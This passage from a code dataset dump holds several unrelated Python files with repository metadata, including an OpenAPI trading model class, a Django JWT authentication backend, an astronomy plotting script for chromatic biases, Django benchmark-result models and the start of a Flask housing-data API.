self._netTrdValue\n\n @netTrdValue.setter\n def netTrdValue(self, netTrdValue):\n \"\"\"Sets the netTrdValue of this Todays.\n\n\n :param netTrdValue: The netTrdValue of this Todays. # noqa: E501\n :type netTrdValue: float\n \"\"\"\n\n self._netTrdValue = netTrdValue\n\n @property\n def normalSqOffQty(self):\n \"\"\"Gets the normalSqOffQty of this Todays. # noqa: E501\n\n\n :return: The normalSqOffQty of this Todays. # noqa: E501\n :rtype: float\n \"\"\"\n return self._normalSqOffQty\n\n @normalSqOffQty.setter\n def normalSqOffQty(self, normalSqOffQty):\n \"\"\"Sets the normalSqOffQty of this Todays.\n\n\n :param normalSqOffQty: The normalSqOffQty of this Todays. # noqa: E501\n :type normalSqOffQty: float\n \"\"\"\n\n self._normalSqOffQty = normalSqOffQty\n\n @property\n def premium(self):\n \"\"\"Gets the premium of this Todays. # noqa: E501\n\n\n :return: The premium of this Todays. # noqa: E501\n :rtype: float\n \"\"\"\n return self._premium\n\n @premium.setter\n def premium(self, premium):\n \"\"\"Sets the premium of this Todays.\n\n\n :param premium: The premium of this Todays. # noqa: E501\n :type premium: float\n \"\"\"\n\n self._premium = premium\n\n @property\n def rbiRefRate(self):\n \"\"\"Gets the rbiRefRate of this Todays. # noqa: E501\n\n\n :return: The rbiRefRate of this Todays. # noqa: E501\n :rtype: int\n \"\"\"\n return self._rbiRefRate\n\n @rbiRefRate.setter\n def rbiRefRate(self, rbiRefRate):\n \"\"\"Sets the rbiRefRate of this Todays.\n\n\n :param rbiRefRate: The rbiRefRate of this Todays. # noqa: E501\n :type rbiRefRate: int\n \"\"\"\n\n self._rbiRefRate = rbiRefRate\n\n @property\n def realizedPL(self):\n \"\"\"Gets the realizedPL of this Todays. # noqa: E501\n\n\n :return: The realizedPL of this Todays. # noqa: E501\n :rtype: float\n \"\"\"\n return self._realizedPL\n\n @realizedPL.setter\n def realizedPL(self, realizedPL):\n \"\"\"Sets the realizedPL of this Todays.\n\n\n :param realizedPL: The realizedPL of this Todays. # noqa: E501\n :type realizedPL: float\n \"\"\"\n\n self._realizedPL = realizedPL\n\n @property\n def sellOpenQtyLot(self):\n \"\"\"Gets the sellOpenQtyLot of this Todays. # noqa: E501\n\n\n :return: The sellOpenQtyLot of this Todays. # noqa: E501\n :rtype: int\n \"\"\"\n return self._sellOpenQtyLot\n\n @sellOpenQtyLot.setter\n def sellOpenQtyLot(self, sellOpenQtyLot):\n \"\"\"Sets the sellOpenQtyLot of this Todays.\n\n\n :param sellOpenQtyLot: The sellOpenQtyLot of this Todays. # noqa: E501\n :type sellOpenQtyLot: int\n \"\"\"\n\n self._sellOpenQtyLot = sellOpenQtyLot\n\n @property\n def sellOpenVal(self):\n \"\"\"Gets the sellOpenVal of this Todays. # noqa: E501\n\n\n :return: The sellOpenVal of this Todays. # noqa: E501\n :rtype: int\n \"\"\"\n return self._sellOpenVal\n\n @sellOpenVal.setter\n def sellOpenVal(self, sellOpenVal):\n \"\"\"Sets the sellOpenVal of this Todays.\n\n\n :param sellOpenVal: The sellOpenVal of this Todays. # noqa: E501\n :type sellOpenVal: int\n \"\"\"\n\n self._sellOpenVal = sellOpenVal\n\n @property\n def sellTradedQtyLot(self):\n \"\"\"Gets the sellTradedQtyLot of this Todays. # noqa: E501\n\n\n :return: The sellTradedQtyLot of this Todays. # noqa: E501\n :rtype: int\n \"\"\"\n return self._sellTradedQtyLot\n\n @sellTradedQtyLot.setter\n def sellTradedQtyLot(self, sellTradedQtyLot):\n \"\"\"Sets the sellTradedQtyLot of this Todays.\n\n\n :param sellTradedQtyLot: The sellTradedQtyLot of this Todays. # noqa: E501\n :type sellTradedQtyLot: int\n \"\"\"\n\n self._sellTradedQtyLot = sellTradedQtyLot\n\n @property\n def sellTradedVal(self):\n \"\"\"Gets the sellTradedVal of this Todays. # noqa: E501\n\n\n :return: The sellTradedVal of this Todays. # noqa: E501\n :rtype: int\n \"\"\"\n return self._sellTradedVal\n\n @sellTradedVal.setter\n def sellTradedVal(self, sellTradedVal):\n \"\"\"Sets the sellTradedVal of this Todays.\n\n\n :param sellTradedVal: The sellTradedVal of this Todays. # noqa: E501\n :type sellTradedVal: int\n \"\"\"\n\n self._sellTradedVal = sellTradedVal\n\n @property\n def sellTrdAvg(self):\n \"\"\"Gets the sellTrdAvg of this Todays. # noqa: E501\n\n\n :return: The sellTrdAvg of this Todays. # noqa: E501\n :rtype: float\n \"\"\"\n return self._sellTrdAvg\n\n @sellTrdAvg.setter\n def sellTrdAvg(self, sellTrdAvg):\n \"\"\"Sets the sellTrdAvg of this Todays.\n\n\n :param sellTrdAvg: The sellTrdAvg of this Todays. # noqa: E501\n :type sellTrdAvg: float\n \"\"\"\n\n self._sellTrdAvg = sellTrdAvg\n\n @property\n def spanMargin(self):\n \"\"\"Gets the spanMargin of this Todays. # noqa: E501\n\n\n :return: The spanMargin of this Todays. # noqa: E501\n :rtype: int\n \"\"\"\n return self._spanMargin\n\n @spanMargin.setter\n def spanMargin(self, spanMargin):\n \"\"\"Sets the spanMargin of this Todays.\n\n\n :param spanMargin: The spanMargin of this Todays. # noqa: E501\n :type spanMargin: int\n \"\"\"\n\n self._spanMargin = spanMargin\n\n @property\n def spanMarginTotal(self):\n \"\"\"Gets the spanMarginTotal of this Todays. # noqa: E501\n\n\n :return: The spanMarginTotal of this Todays. # noqa: E501\n :rtype: float\n \"\"\"\n return self._spanMarginTotal\n\n @spanMarginTotal.setter\n def spanMarginTotal(self, spanMarginTotal):\n \"\"\"Sets the spanMarginTotal of this Todays.\n\n\n :param spanMarginTotal: The spanMarginTotal of this Todays. # noqa: E501\n :type spanMarginTotal: float\n \"\"\"\n\n self._spanMarginTotal = spanMarginTotal\n\n @property\n def spreadTotal(self):\n \"\"\"Gets the spreadTotal of this Todays. # noqa: E501\n\n\n :return: The spreadTotal of this Todays. # noqa: E501\n :rtype: float\n \"\"\"\n return self._spreadTotal\n\n @spreadTotal.setter\n def spreadTotal(self, spreadTotal):\n \"\"\"Sets the spreadTotal of this Todays.\n\n\n :param spreadTotal: The spreadTotal of this Todays. # noqa: E501\n :type spreadTotal: float\n \"\"\"\n\n self._spreadTotal = spreadTotal\n\n @property\n def totalStock(self):\n \"\"\"Gets the totalStock of this Todays. # noqa: E501\n\n\n :return: The totalStock of this Todays. # noqa: E501\n :rtype: int\n \"\"\"\n return self._totalStock\n\n @totalStock.setter\n def totalStock(self, totalStock):\n \"\"\"Sets the totalStock of this Todays.\n\n\n :param totalStock: The totalStock of this Todays. # noqa: E501\n :type totalStock: int\n \"\"\"\n\n self._totalStock = totalStock\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.openapi_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, Todays):\n return False\n\n return self.to_dict() == other.to_dict()\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n if not isinstance(other, Todays):\n return True\n\n return self.to_dict() != other.to_dict()\n","repo_name":"harshad5498/ks-orderapi-python","sub_path":"openapi_client/models/todays.py","file_name":"todays.py","file_ext":"py","file_size_in_byte":29500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42081424186","text":"\nimport os\nimport sys\nimport json\n\ndef get_times_list(file):\n l = []\n with open(file, 'rb') as f:\n for line in f.readlines():\n s = line[0:-3]\n value = float(s)\n l.append(value)\n return l\n\ndef get_pid(file):\n pid = None\n if not os.path.exists(file):\n print(\"{} file not exist\".format(file))\n else:\n with open(file, 'rb') as fd:\n pid = int(fd.read())\n return pid\n\nif __name__ == '__main__':\n times_file = sys.argv[1]\n pid_file = sys.argv[2]\n out_file = sys.argv[3]\n\n times = get_times_list(times_file)\n pid = get_pid(pid_file)\n info = {\"pid\": pid, \"npu_compute_time_list\": times}\n with open(os.path.join(out_file), 'w') as f:\n json.dump(info, f)\n\n","repo_name":"Ascend/tools","sub_path":"ais-bench_workload/tool/infer_analyser/info_convert_json.py","file_name":"info_convert_json.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"21"} +{"seq_id":"19800961278","text":"import jwt\n\nfrom django.conf import settings\n\nfrom rest_framework import authentication, exceptions\n\nfrom authentication.models import User\n\n\nclass JWTAuthentication(authentication.BaseAuthentication):\n authentication_header_prefix = 'Token'\n\n def authenticate(self, request):\n \"\"\"\n Method authenticate is called every time, when we make a request.\n We return user / token combination when authentication is successful.\n \"\"\"\n\n request.user = None\n\n # 'auth_header' must be an array with two elements:\n # 1) name of the authentication header (Token in our case)\n # 2) the JWT by which we must authenticate\n auth_header = authentication.get_authorization_header(request).split()\n auth_header_prefix = self.authentication_header_prefix.lower()\n\n # Exactly two elements must be transmitted\n if not auth_header:\n return None\n\n if len(auth_header) == 1:\n return None\n\n elif len(auth_header) > 2:\n return None\n\n prefix = auth_header[0].decode('utf-8')\n token = auth_header[1].decode('utf-8')\n\n if prefix.lower() != auth_header_prefix:\n # The header prefix is not what we expected - failure.\n return None\n\n return self._authenticate_credentials(request, token)\n\n def _authenticate_credentials(self, request, token):\n \"\"\"\n An attempt was made to authenticate with the provided data. If successful -\n return user and token, otherwise - throw an exception.\n \"\"\"\n try:\n payload = jwt.decode(token, settings.SECRET_KEY, algorithms='HS256')\n\n except Exception:\n msg = 'Authentication error. Unable to decode token'\n raise exceptions.AuthenticationFailed(msg)\n\n try:\n user = User.objects.get(pk=payload['id'])\n\n except User.DoesNotExist:\n msg = 'The user with the given token was not found.'\n raise exceptions.AuthenticationFailed(msg)\n\n if not user.is_active:\n msg = 'This user has been deactivated.'\n raise exceptions.AuthenticationFailed(msg)\n\n return (user, token)\n","repo_name":"ArtemFedorkevich/Support","sub_path":"authentication/backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14459651461","text":"\"\"\"Make a panel figure for the paper of chromatic biases (RbarSqr, V, S_m02) vs their residuals\nafter ETR correction.\n\"\"\"\n\nimport cPickle\nfrom argparse import ArgumentParser\n\nimport numpy as np\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nfrom matplotlib import ticker\nimport matplotlib.cm\n\nband = 'LSST_r'\nband_dict = {'LSST_r':\"r\",\n 'LSST_i':\"i\"}\nfontsize=10\n\n# Some annotation arrow properties\narrowdict = dict(facecolor='black', shrink=0.1, width=1.5, headwidth=4, frac=0.2)\n\n# hardcode some requirements, order is [DES, LSST]\nr2sqr_gal = np.r_[0.4, 0.3]**2\nr2sqr_PSF = np.r_[0.8, 0.7]**2\n\nmean_m_req = np.r_[0.008, 0.003]\nvar_c_sufficient = 1.8e-7 * np.r_[(5000/18000.)**(-0.5) * (12./30)**(-0.5) * (0.68/0.82)**(-0.6),\n 1.0]\n\nmean_DeltaRbarSqr_req = mean_m_req / 2.0\nvar_DeltaRbarSqr_sufficient = var_c_sufficient / 1.0**2\n\nmean_DeltaV_req = r2sqr_gal * mean_m_req\nvar_DeltaV_sufficient = var_c_sufficient * 4 * r2sqr_gal**2 * 0.5\n# last factor of 0.5 needed to account for possible rotation of DeltaV from being purely real.\n# see appendix of Meyers+Burchat15.\n\nmean_dS_m02_req = mean_m_req * r2sqr_gal / r2sqr_PSF\nepsf = 0.05\nvar_dS_m02_sufficient = var_c_sufficient / (epsf / 2.0 * r2sqr_PSF / r2sqr_gal)**2 * 0.5\n# last factor of 0.5 needed to account for possible rotation of DeltaV from being purely real.\n# see appendix of Meyers+Burchat15.\n\nstd_DeltaRbarSqr_sufficient = np.sqrt(var_DeltaRbarSqr_sufficient)\nstd_DeltaV_sufficient = np.sqrt(var_DeltaV_sufficient)\nstd_dS_m02_sufficient = np.sqrt(var_dS_m02_sufficient)\n\ndef set_range(x):\n \"\"\" Return a plotting range 30% larger than the interval containing 99% of the data.\n \"\"\"\n xs = sorted(x)\n n = len(xs)\n low = xs[int(0.005*n)]\n high = xs[int(0.995*n)]\n span = high-low\n return [low - 0.3*span, high + 0.3*span]\n\ndef plot_panel(ax, cbar_ax, xdata, ydata, cdata,\n xlabel, ylabel,\n xlim, ylim, clim,\n text, **kwargs):\n rorder = np.random.permutation(len(cdata))\n\n cmap = matplotlib.cm.get_cmap('jet')\n im = ax.scatter(xdata[rorder], ydata[rorder], c=cdata[rorder],\n vmin=clim[0], vmax=clim[1], zorder=4, cmap=cmap, **kwargs)\n im.set_rasterized(True)\n\n ax.set_xlabel(xlabel, fontsize=fontsize)\n ax.set_ylabel(ylabel, fontsize=fontsize)\n\n ax.set_ylim(ylim)\n ax.set_xlim(xlim)\n\n plt.setp( ax.xaxis.get_majorticklabels(), rotation=45, fontsize=fontsize )\n plt.setp( ax.yaxis.get_majorticklabels(), rotation=45, fontsize=fontsize )\n\n ax.text(0.06, 0.88, text, transform=ax.transAxes, fontsize=fontsize)\n\n ax.fill_between(xlim, [ylim[0]]*2, [ylim[1]]*2, color='#BBBBBB', zorder=1)\n\n cbar = plt.colorbar(im, cax=cbar_ax, orientation='horizontal')\n cbar.locator = ticker.MaxNLocator(nbins=4)\n cbar.update_ticks()\n for label in cbar_ax.get_xticklabels():\n label.set_fontsize(fontsize)\n cbar_ax.set_xlabel(\"redshift\", fontsize=fontsize)\n\n return im\n\ndef bias_vs_corrected_panel(gals, stars, outfile, cbands=None):\n fig = plt.figure(figsize=(9,10))\n outer_grid = gridspec.GridSpec(3, 2,\n left=0.1, right=0.95,\n top = 0.94, bottom=0.10,\n wspace=0.35, hspace=0.5)\n\n if cbands is None:\n cdata = gals['redshift']\n clim = [0., 2.0]\n else:\n cdata = gals['magCalc'][cbands[0]] - gals['magCalc'][cbands[1]]\n\n for col, band, band_text in zip([0,1], ['LSST_r','LSST_i'], ['r band','i band']):\n # RbarSqr\n ylabel = r\"$\\delta(\\left(\\Delta \\overline{\\mathrm{R}}\\right)^2)$ (arcsec$^2$)\"\n xlabel = r\"$\\left(\\Delta \\overline{\\mathrm{R}}\\right)^2$ (arcsec$^2$)\"\n stardata = stars['Rbar'][band] * 180/np.pi * 3600\n galdata = gals['Rbar'][band] * 180/np.pi * 3600\n norm = np.mean(stardata)\n galdata -= norm\n galdata **= 2\n\n cgaldata = (gals['Rbar'][band] - gals['photo_Rbar'][band]) * 180/np.pi * 3600\n # d((DR)^2) = 2 DR d(DR)\n cgaldata = 2 * (gals['Rbar'][band] * 180/np.pi * 3600 - norm) * cgaldata\n ydata = cgaldata\n\n xlim = set_range(galdata)\n xlim[0] = 1.e-7\n ylim = set_range(galdata)\n ylim[0] = 1.e-7\n\n ax = plt.Subplot(fig, outer_grid[0, col])\n fig.add_subplot(ax)\n inner_grid = gridspec.GridSpecFromSubplotSpec(100, 100, subplot_spec=outer_grid[0, col],\n wspace=0.0, hspace=0.0)\n cbar_ax = plt.Subplot(fig, inner_grid[75:80, 50:90])\n fig.add_subplot(cbar_ax)\n\n ax.set_xscale('log')\n ax.set_yscale('log')\n plot_panel(ax, cbar_ax, galdata, cgaldata, cdata,\n xlabel, ylabel, xlim, ylim, clim, band_text, s=3)\n\n ax.fill_between(xlim, [0.0]*2, [std_DeltaRbarSqr_sufficient[0]]*2, color='#999999', zorder=1)\n ax.fill_between(xlim, [0.0]*2, [std_DeltaRbarSqr_sufficient[1]]*2, color='#777777', zorder=2)\n ax.fill_between([0.0, std_DeltaRbarSqr_sufficient[0]],\n [ylim[0]]*2, [ylim[1]]*2,\n color='#999999', zorder=1)\n ax.fill_between([0.0, std_DeltaRbarSqr_sufficient[1]],\n [ylim[0]]*2, [ylim[1]]*2,\n color='#777777', zorder=2)\n ax.axhline(std_DeltaRbarSqr_sufficient[0], c='k', alpha=0.1, zorder=10, lw=0.5)\n ax.axhline(std_DeltaRbarSqr_sufficient[1], c='k', alpha=0.3, zorder=10, lw=0.5)\n ax.axvline(std_DeltaRbarSqr_sufficient[0], c='k', alpha=0.1, zorder=10, lw=0.5)\n ax.axvline(std_DeltaRbarSqr_sufficient[1], c='k', alpha=0.3, zorder=10, lw=0.5)\n\n # V\n ylabel = \"$\\delta(\\Delta \\mathrm{V})$ (arcsec$^2$)\"\n xlabel = r\"$\\Delta \\mathrm{V}}$ (arcsec$^2$)\"\n stardata = stars['V'][band] * (180/np.pi * 3600)**2\n galdata = gals['V'][band] * (180/np.pi * 3600)**2\n norm = np.mean(stardata)\n galdata -= norm\n\n cgaldata = (gals['V'][band] - gals['photo_'+'V'][band]) * (180/np.pi * 3600)**2\n\n xlim = set_range(galdata)\n ylim = set_range(galdata)\n\n ax = plt.Subplot(fig, outer_grid[1, col])\n fig.add_subplot(ax)\n inner_grid = gridspec.GridSpecFromSubplotSpec(100, 100, subplot_spec=outer_grid[1, col],\n wspace=0.0, hspace=0.0)\n cbar_ax = plt.Subplot(fig, inner_grid[75:80, 50:90])\n fig.add_subplot(cbar_ax)\n\n plot_panel(ax, cbar_ax, galdata, cgaldata, cdata,\n xlabel, ylabel, xlim, ylim, clim, band_text, s=3)\n\n ax.fill_between(xlim, [-std_DeltaV_sufficient[0]]*2, [std_DeltaV_sufficient[0]]*2,\n color='#999999', zorder=1)\n ax.fill_between(xlim, [-std_DeltaV_sufficient[1]]*2, [std_DeltaV_sufficient[1]]*2,\n color='#777777', zorder=2)\n\n ax.fill_between([-std_DeltaV_sufficient[0], std_DeltaV_sufficient[0]],\n [ylim[0]]*2, [ylim[1]]*2, color='#999999', zorder=1)\n ax.fill_between([-std_DeltaV_sufficient[1], std_DeltaV_sufficient[1]],\n [ylim[0]]*2, [ylim[1]]*2, color='#777777', zorder=2)\n\n ax.axhline(std_DeltaV_sufficient[0], c='k', alpha=0.1, zorder=10, lw=0.5)\n ax.axhline(std_DeltaV_sufficient[1], c='k', alpha=0.3, zorder=10, lw=0.5)\n ax.axhline(-std_DeltaV_sufficient[0], c='k', alpha=0.1, zorder=10, lw=0.5)\n ax.axhline(-std_DeltaV_sufficient[1], c='k', alpha=0.3, zorder=10, lw=0.5)\n\n ax.axvline(std_DeltaV_sufficient[0], c='k', alpha=0.1, zorder=10, lw=0.5)\n ax.axvline(std_DeltaV_sufficient[1], c='k', alpha=0.3, zorder=10, lw=0.5)\n ax.axvline(-std_DeltaV_sufficient[0], c='k', alpha=0.1, zorder=10, lw=0.5)\n ax.axvline(-std_DeltaV_sufficient[1], c='k', alpha=0.3, zorder=10, lw=0.5)\n\n # # S\n xlabel = r\"$\\Delta r^2_\\mathrm{PSF}/r^2_\\mathrm{PSF}$\"\n ylabel = \"$\\delta(\\Delta r^2_\\mathrm{PSF}/r^2_\\mathrm{PSF})$\"\n stardata = stars['S_m02'][band]\n galdata = gals['S_m02'][band]\n starmean = np.mean(stardata)\n galdata = (galdata - starmean)/starmean\n\n cgaldata = ((gals['S_m02'][band] - gals['photo_'+'S_m02'][band])\n / gals['photo_'+'S_m02'][band])\n\n xlim = set_range(galdata)\n ylim = set_range(galdata)\n\n ax = plt.Subplot(fig, outer_grid[2, col])\n fig.add_subplot(ax)\n inner_grid = gridspec.GridSpecFromSubplotSpec(100, 100, subplot_spec=outer_grid[2, col],\n wspace=0.0, hspace=0.0)\n cbar_ax = plt.Subplot(fig, inner_grid[75:80, 50:90])\n fig.add_subplot(cbar_ax)\n\n im = plot_panel(ax, cbar_ax, galdata, cgaldata, cdata,\n xlabel, ylabel, xlim, ylim, clim, band_text, s=3)\n\n ax.fill_between(xlim, [-std_dS_m02_sufficient[0]]*2, [std_dS_m02_sufficient[0]]*2,\n color='#999999', zorder=1)\n ax.fill_between(xlim, [-std_dS_m02_sufficient[1]]*2, [std_dS_m02_sufficient[1]]*2,\n color='#777777', zorder=2)\n\n ax.fill_between([-std_dS_m02_sufficient[0], std_dS_m02_sufficient[0]],\n [ylim[0]]*2, [ylim[1]]*2, color='#999999', zorder=1)\n ax.fill_between([-std_dS_m02_sufficient[1], std_dS_m02_sufficient[1]],\n [ylim[0]]*2, [ylim[1]]*2, color='#777777', zorder=2)\n\n ax.axhline(std_dS_m02_sufficient[0], c='k', alpha=0.1, zorder=10, lw=0.5)\n ax.axhline(std_dS_m02_sufficient[1], c='k', alpha=0.3, zorder=10, lw=0.5)\n ax.axhline(-std_dS_m02_sufficient[0], c='k', alpha=0.1, zorder=10, lw=0.5)\n ax.axhline(-std_dS_m02_sufficient[1], c='k', alpha=0.3, zorder=10, lw=0.5)\n\n ax.axvline(std_dS_m02_sufficient[0], c='k', alpha=0.1, zorder=10, lw=0.5)\n ax.axvline(std_dS_m02_sufficient[1], c='k', alpha=0.3, zorder=10, lw=0.5)\n ax.axvline(-std_dS_m02_sufficient[0], c='k', alpha=0.1, zorder=10, lw=0.5)\n ax.axvline(-std_dS_m02_sufficient[1], c='k', alpha=0.3, zorder=10, lw=0.5)\n\n fig.savefig(outfile, dpi=400)\n\n\nif __name__ == '__main__':\n parser = ArgumentParser()\n parser.add_argument('--galfile', default = \"output/corrected_galaxy_data.pkl\",\n help=\"input galaxy file. Default 'output/corrected_galaxy_data.pkl'\")\n parser.add_argument('--starfile', default = \"output/corrected_star_data.pkl\",\n help=\"input star file. Default 'output/corrected_star_data.pkl'\")\n parser.add_argument('--color', default=None, nargs=2,\n help=\"color to use for symbol color (Default: redshift)\")\n parser.add_argument('--outfile', default=\"output/bias_vs_corrected_panel.pdf\", nargs='?',\n help=\"output filename (Default: 'output/bias_vs_corrected_panel.pdf')\")\n args = parser.parse_args()\n\n gals = cPickle.load(open(args.galfile))\n stars = cPickle.load(open(args.starfile))\n bias_vs_corrected_panel(gals, stars, args.outfile, cbands=args.color)\n","repo_name":"LSSTDESC/chroma","sub_path":"bin/analytic/catalog/bias_vs_corrected_panel.py","file_name":"bias_vs_corrected_panel.py","file_ext":"py","file_size_in_byte":11188,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"30544603295","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.contrib.auth.models import User\nfrom django.db import models\nfrom django.utils.encoding import python_2_unicode_compatible\nfrom django import forms\n\n\nclass NewResultForm(forms.Form):\n upload_code = forms.CharField(max_length=30)\n upload_hash = forms.CharField(max_length=40, required=False)\n result_ok = forms.CharField(max_length=5)\n benchmark_conf_data = forms.FileField()\n summary_data = forms.FileField()\n\n\nclass Project(models.Model):\n user = models.ForeignKey(User, on_delete=models.PROTECT)\n name = models.CharField(max_length=64)\n description = models.TextField()\n creation_time = models.DateTimeField()\n last_update = models.DateTimeField()\n\n upload_code = models.CharField(max_length=30)\n\n def delete(self, using=None, keep_parents=False):\n results = Result.objects.filter(project=self)\n for result in results:\n result.delete()\n super(Project, self).delete(using)\n\n\nclass ExperimentConf(models.Model):\n BENCHMARK_TYPES = [x.upper() for x in sorted([\n 'tpcc',\n 'tatp',\n 'wikipedia',\n 'resourcestresser',\n 'twitter',\n 'epinions',\n 'ycsb',\n 'jpab',\n 'seats',\n 'auctionmark',\n 'chbenchmark',\n 'voter',\n 'linkbench',\n 'sibench',\n 'noop'\n ])]\n\n project = models.ForeignKey(Project, on_delete=models.CASCADE)\n name = models.CharField(max_length=50)\n description = models.CharField(max_length=512)\n configuration = models.TextField()\n benchmark_type = models.CharField(\n max_length=sum(len(x) + 1 for x in BENCHMARK_TYPES)\n )\n creation_time = models.DateTimeField()\n isolation = models.TextField()\n scalefactor = models.TextField()\n terminals = models.TextField()\n\n FILTER_FIELDS = [\n {'field': 'isolation', 'print': 'Isolation Level'},\n {'field': 'scalefactor', 'print': 'Scale Factor'},\n {'field': 'terminals', 'print': '# of Terminals'},\n ]\n\n\nclass DBConf(models.Model):\n DB_TYPES = sorted([\n 'DB2',\n 'MYSQL',\n 'POSTGRES',\n 'ORACLE',\n 'SQLSERVER',\n 'SQLITE',\n 'AMAZONRDS',\n 'HSTORE',\n 'SQLAZURE',\n 'ASSCLOWN',\n 'HSQLDB',\n 'H2',\n 'NUODB',\n 'PELOTON',\n 'MEMSQL',\n ])\n\n db_type = models.CharField(max_length=max(len(x) for x in DB_TYPES),\n choices=[(x, x) for x in DB_TYPES])\n\n\nPLOTTABLE_FIELDS = [\n 'throughput',\n 'p99_latency',\n 'p95_latency',\n 'p90_latency',\n 'avg_latency',\n 'p50_latency',\n 'max_latency',\n 'p75_latency',\n 'p25_latency',\n 'min_latency'\n]\n\nMETRIC_META = {\n 'throughput': {\n 'unit': 'transactions/second',\n 'lessisbetter': False,\n 'scale': 1,\n 'print': 'Throughput'\n },\n 'p99_latency': {\n 'unit': 'milisecond',\n 'lessisbetter': True,\n 'scale': 0.001,\n 'print': '99% Latency'\n },\n 'p95_latency': {\n 'unit': 'milisecond',\n 'lessisbetter': True,\n 'scale': 0.001,\n 'print': '95% Latency'\n },\n 'p90_latency': {\n 'unit': 'milisecond',\n 'lessisbetter': True,\n 'scale': 0.001,\n 'print': '90% Latency'\n },\n 'p75_latency': {\n 'unit': 'milisecond',\n 'lessisbetter': True,\n 'scale': 0.001,\n 'print': '75% Latency'\n },\n 'p50_latency': {\n 'unit': 'milisecond',\n 'lessisbetter': True,\n 'scale': 0.001,\n 'print': 'Med. Latency'\n },\n 'p25_latency': {\n 'unit': 'milisecond',\n 'lessisbetter': True,\n 'scale': 0.001,\n 'print': '25% Latency'\n },\n 'min_latency': {\n 'unit': 'milisecond',\n 'lessisbetter': True,\n 'scale': 0.001,\n 'print': 'Min Latency'\n },\n 'avg_latency': {\n 'unit': 'milisecond',\n 'lessisbetter': True,\n 'scale': 0.001,\n 'print': 'Avg. Latency'\n },\n 'max_latency': {\n 'unit': 'milisecond',\n 'lessisbetter': True,\n 'scale': 0.001,\n 'print': 'Max Latency'\n },\n}\n\n\n@python_2_unicode_compatible\nclass Result(models.Model):\n project = models.ForeignKey(Project, on_delete=models.CASCADE)\n benchmark_conf = models.ForeignKey(\n ExperimentConf, on_delete=models.CASCADE)\n db_conf = models.ForeignKey(DBConf, on_delete=models.CASCADE)\n timestamp = models.DateTimeField()\n throughput = models.FloatField()\n avg_latency = models.FloatField()\n min_latency = models.FloatField()\n p25_latency = models.FloatField()\n p50_latency = models.FloatField()\n p75_latency = models.FloatField()\n p90_latency = models.FloatField()\n p95_latency = models.FloatField()\n p99_latency = models.FloatField()\n max_latency = models.FloatField()\n git_hash = models.CharField(max_length=40, blank=True, null=True)\n result_ok = models.BooleanField()\n\n def __str__(self):\n return str(self.pk)\n","repo_name":"oltpbenchmark/website","sub_path":"website/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5110,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"21"} +{"seq_id":"30008104492","text":"import config\nimport numpy as np\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\nfrom flask_cors import CORS, cross_origin\n\n\nfrom flask import Flask, render_template, redirect, jsonify, request\n\n#################################################\n# Database Setup\n#################################################\nurl = f'{config.user}:{config.password}@{config.hostname}:{config.port}/housing_db'\nengine = create_engine(f'postgresql://{url}')\n\n# reflect an existing database into a new model\nBase = automap_base()\n# reflect the tables\nBase.prepare(engine, reflect=True)\n\n# Save reference to the tables\nCounty = Base.classes.county_data\nPop = Base.classes.pop_data\n\n#################################################\n# Flask Setup\n#################################################\napp = Flask(__name__)\n\n@app.route(\"/\")\n@cross_origin(origin='*')\n# index = homepage of application\ndef index():\n \"\"\"List available api routes.\"\"\"\n return (\n f\"Available Routes:
\"\n f\"/api/v1.0/counties
\"\n f\"/api/v1.0/grouped_data
\"\n f\"/api/v1.0/merged_data
\"\n f\"/api/v1.0/housing_data_2019
\"\n f\"/api/v1.0/housing_data_2020
\"\n f\"/api/v1.0/housing_data_2021
\"\n f\"/api/v1.0/county_data_deltas
\"\n f\"/api/v1.0/state_data
\"\n f\"/api/v1.0/property_totals\"\n )\n #return render_template(\"index.html\")\n\n\n@app.route(\"/api/v1.0/counties\")\n@cross_origin(origin='*')\ndef counties():\n # Create our session (link) from Python to the DB\n session = Session(engine)\n\n \"\"\"Return a list of all county names\"\"\"\n # Query all counties\n results = session.query(County.county).distinct().all()\n\n session.close()\n \n # Convert list of tuples into a normal list\n all_counties = list(np.ravel(results))\n\n return jsonify(all_counties)\n\n\n@app.route(\"/api/v1.0/grouped_data\")\n@cross_origin(origin='*')\ndef grouped():\n # Create our session (link) from Python to the DB\n session = Session(engine)\n\n \"\"\"Return grouped data\"\"\"\n # Query all counties\n results = session.query(County.year, County.state, County.county, County.property_type, func.avg(County.inventory), func.sum(County.homes_sold), func.avg(County.median_sale_price), func.avg(County.median_ppsf)).group_by(County.year, County.state, County.county, County.property_type).all()\n\n session.close()\n \n # Create a dictionary from the row data and append to a list of all_data\n all_housing_data = []\n\n for year, state, county, property_type, inventory, homes_sold, median_sale_price, median_ppsf in results:\n data_dict = {}\n data_dict[\"year\"] = year\n data_dict[\"state\"] = state\n data_dict[\"county\"] = county\n 